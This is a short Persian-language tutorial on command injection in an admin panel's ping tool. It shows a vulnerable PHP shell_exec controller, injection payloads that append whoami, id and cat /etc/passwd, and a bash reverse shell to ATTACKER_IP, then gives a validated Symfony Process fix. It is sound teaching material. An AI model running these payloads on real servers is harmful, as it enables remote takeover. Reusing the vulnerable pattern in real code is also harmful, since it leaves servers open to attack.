Command Injection در ابزار «پینگ سرور» پنل ادمین از طریق بکتیک/سمیکالن
یک فیچر دیباگ که آدرس وارد شده را با exec به ابزار ping سیستمعامل میفرستد، به مهاجم اجازه میدهد دستور دلخواه روی سرور اجرا کند.
خیلی از پنلهای ادمین یک ابزار کوچک «تست اتصال/پینگ» دارند که مستقیم به دستور سیستمعامل متکی است:
// AdminController.php — نسخهی آسیبپذیر
public function ping(Request $request)
{
$host = $request->input('host');
$output = shell_exec("ping -c 4 " . $host);
return response($output);
}
شناسایی
استفادهی عادی: host=8.8.8.8 → خروجی ping طبیعی. تست اولیه برای command injection همیشه یک جداکنندهی شل است:
host=8.8.8.8; whoami
host=8.8.8.8 && id
host=`id`
host=8.8.8.8 | cat /etc/passwd
اگر خروجی whoami یا محتوای /etc/passwd در پاسخ دیده شد، یعنی دستور تزریقی واقعاً روی سرور اجرا شده — نه فقط بهعنوان بخشی از آرگومان ping.
تبدیل به دسترسی کامل (reverse shell)
host=8.8.8.8; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
با این payload، سرور یک اتصال معکوس به ماشین مهاجم باز میکند و عملاً shell کامل روی سرور قربانی در اختیار مهاجم قرار میگیرد — از یک فیچر «فقط پینگ».
راهحل
قانون طلایی: هیچوقت ورودی کاربر را مستقیم وارد یک shell command نکنید. اگر واقعاً نیاز به اجرای ابزار سیستمی هست، از آرگومانهای جدا (نه رشتهی ترکیبی شل) و validation سختگیرانه استفاده کنید:
// نسخهی امن
public function ping(Request $request)
{
$request->validate([
'host' => ['required', 'ip'], // فقط یک IP معتبر قبول میشود، نه رشتهی آزاد
]);
$process = new Symfony\Component\Process\Process(['ping', '-c', '4', $request->input('host')]);
$process->run();
return response($process->getOutput());
}
نکتهی کلیدی: استفاده از Process با آرگومانهای جدا (آرایه)، نه رشتهی تکپارچه، یعنی shell اصلاً درگیر parse کردن ورودی کاربر نمیشود.